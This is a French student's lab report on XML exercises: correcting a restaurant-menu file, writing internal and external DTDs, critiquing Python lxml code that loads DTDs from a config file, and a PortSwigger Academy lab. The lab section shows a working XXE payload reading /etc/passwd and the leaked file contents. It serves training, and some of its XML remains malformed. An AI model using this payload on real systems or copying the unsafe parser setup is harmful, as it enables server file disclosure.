

# Compte rendu solo noobo xml

Exercice :

```
<?xml version="1.0"?>

<!-- Menu du restaurant pour la semaine -->

<menus semaine="Troisième semaine de mars">

    <menu date="17 mars">

        <plat>Nom: Tartiflette</plat>

        <ingredients>Pommes de terre, lardons, oignons, reblochon</ingredients>

        <description>Un gratin savoyard réconfortant, parfait pour les soirées
froides.</description>

        <prix>18€</prix>

    </menu>

    <menu date="19 mars"> <!-- Menu du lundi -->

        <plat>Boeuf Bourguignon</plat>

        <description>Plat mijoté avec du boeuf, des carottes, des oignons et du
vin rouge.</description>

        <prix>20 euros & accompagné de pâtes</prix>

    </menu>

    <menu date="21 mars">

        <plat>Salade Niçoise</plat>

        <description>Ingrédients: Thon, œufs durs, olives noires,
tomates</description>

        <prix>15€</prix>

    </menu>

    <menu>
```

```

    <plat>Cassoulet</plat>

    <description>Un classique du Sud-Ouest avec des haricots blancs, de la
saucisse de Toulouse, et de l'oie</description>

    <prix>22 euros pour deux personnes</prix>

</menu>

<menu date="23 mars">

    <plat>Erreur dans le système</plat>

    <description>Ce plat n'existe pas, veuillez ignorer cette entrée.
</description>

    <prix>0€</prix>

</menu>

</menus>

```

les erreurs étaient surtout des erreurs de balisages, des fermetures de balises qui manque ou encore des erreurs de nommage sur les différentes balises.

Exercice n° 2:

1.

```

<!-- DTD interne -->

<?xml version="1.0"?>

<!DOCTYPE menu [

<!ELEMENT menu (plat+)>

<!ELEMENT plat (nom, ingredients, description, prix)>

<!ELEMENT nom (#PCDATA)>

<!ELEMENT ingredients (ingredient+)>

```

```
<!ELEMENT ingredient (#PCDATA)>
```

```
<!ELEMENT description (#PCDATA)>
```

```
<!ELEMENT prix (#PCDATA)>
```

```
<menu>
```

```
  <plat date=17 mars>
```

```
    <nom>Nom: Tartiflette</nom>
```

```
    <ingredients>Pommes de terre, lardons, oignons, reblochon</ingredients>
```

```
    <description>Un gratin savoyard réconfortant, parfait pour les soirées  
froides.</description>
```

```
    <prix>18€</prix>
```

```
  </plat>
```

```
  <plat> <!-- Menu du lundi -->
```

```
    <nom>Boeuf Bourguignon</nom>
```

```
    <description>Plat mijoté avec du boeuf, des carottes, des oignons et du  
vin rouge.</description>
```

```
    <prix>20 euros & accompagné de pâtes</prix>
```

```
  </plat>
```

```
  <plat>
```

```
    <nom>Salade Niçoise</nom>
```

```
    <description>Ingrédients: Thon, œufs durs, olives noires,  
tomates</description>
```

```
    <prix>15€</prix>
```

```
  </plat>
```

```
  <plat>
```

```

    <nom>Cassoulet</nom>

    <description>Un classique du Sud-Ouest avec des haricots blancs, de la
saucisse de Toulouse, et de l'oie</description>

    <prix>22 euros pour deux personnes</prix>

</plat>

<plat>

    <nom>Erreur dans le système</nom>

    <description>Ce plat n'existe pas, veuillez ignorer cette entrée.
</description>

    <prix>0€</prix>

</plat>

</menu>

```

## 2.``xml

```

<!-- DTD externe -->

<?xml version="1.0"?>

<!DOCTYPE menu SYTEM "menu.dtd">

<menu>

    <plat date=17 mars>

        <nom>Nom: Tartiflette</nom>

        <ingredients>Pommes de terre, lardons, oignons, reblochon</ingredients>

```

<description>Un gratin savoyard réconfortant, parfait pour les soirées froides.</description>

<prix>18€</prix>

</plat>

<plat> <!-- Menu du lundi -->

<nom>Boeuf Bourguignon</nom>

<description>Plat mijoté avec du boeuf, des carottes, des oignons et du vin rouge.</description>

<prix>20 euros & accompagné de pâtes</prix>

</plat>

<plat>

<nom>Salade Niçoise</nom>

<description>Ingrédients: Thon, œufs durs, olives noires, tomates</description>

<prix>15€</prix>

</plat>

<plat>

<nom>Cassoulet</nom>

<description>Un classique du Sud-Ouest avec des haricots blancs, de la saucisse de Toulouse, et de l'oie</description>

<prix>22 euros pour deux personnes</prix>

</plat>

<plat>

```

        <nom>Erreur dans le système</nom>

        <description>Ce plat n'existe pas, veuillez ignorer cette entrée.
    </description>

    <prix>0€</prix>

</plat>

</menu>

```

Exercice n°3 : ( je me suis fait aidé par k vin ainsi que noobo <3)

```

with open(config_path, 'r') as config_file:
    config = etree.parse(config_file)
    load_dtd = config.find('..load_dtd').text.lower() == 'true'
    return load_dtd

```

on a une erreur de s curit  au niveau du load\_dtd qui ne v rifie rien et qui renvoie donc true tous le temps se qui permettrai d'effectuer des actions malveillantes en ammont qui passera inaper u.

```

from lxml import etree

def load_parser_config(config_path):
    """
    Charge la configuration du parser depuis un fichier de configuration XML.
    """
    with open(config_path, 'r') as config_file:
        config = etree.parse(config_file)
        load_dtd = config.find('..load_dtd').text.lower() == 'true'
        return load_dtd

def parse_xml_file(file_path, config_path):
    """
    Parse le fichier XML en fonction de la configuration du parser.
    """
    load_dtd = load_parser_config(config_path)
    parser = etree.XMLParser(load_dtd=load_dtd)
    with open(file_path, 'rb') as file:
        tree = etree.parse(file, parser)
        root = tree.getroot()
        # Affiche le contenu du fichier XML
        for element in root.iter():
            print(f'{element.tag}: {element.text}')

if __name__ == "__main__":
    parse_xml_file('exemple.xml', 'config.xml')

```

## Exercice n°4 :

```
<?xml version="1.0" encoding="utf-8"?>
<cinéastes>
  <cinéaste numero="1">
    <nom>Quentin Tarantino</nom>
    <nom id="F1" annees="1994">Pulp Fiction</nom>
    <nom id="F2" annees="2012">Django Unchained</nom>
  </cinéaste>
  <cinéaste numero="2">
    <nom>Christopher Nolan</nom>
    <nom id="F3" annees="2010">Inception</nom>
    <nom id="F4" annees="2014">Interstellar</nom>
  </cinéaste>
</cinéastes>
```

Il y'a un problème de balise. En effet il y'a un mélange de la structure des cinéaste avec celle des films, qui prend les données des films et la structures des cinéastes.

## Lab 1 :

The screenshot displays the Burp Suite interface. The top menu bar includes Dashboard, Target, Proxy, Intruder, Repeater, View, and Help. The main toolbar shows buttons for Send, Cancel, and navigation. The target URL is https://0aa200a0036daa3185d34c2a0093004f.web-security-academy.net.

The Request tab is active, showing a POST request to /product/stock. The request body is an XML document. The relevant part of the XML is highlighted:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>
    &xxe;
  </productId>
  <storeId>
    1
  </storeId>
</stockCheck>
```

The Response tab shows a 400 Bad Request error. The response body lists various system paths and users, indicating a directory traversal attack:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338

{"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001:/home/peter:/bin/bash
carlos:x:12002:12002:/home/carlos:/bin/bash
user:x:12000:12000:/home/user:/bin/bash
elmer:x:12099:12099:/home/elmer:/bin/bash
academy:x:10000:10000:/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,
,
:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemdTimeSynchronization,
,
,
```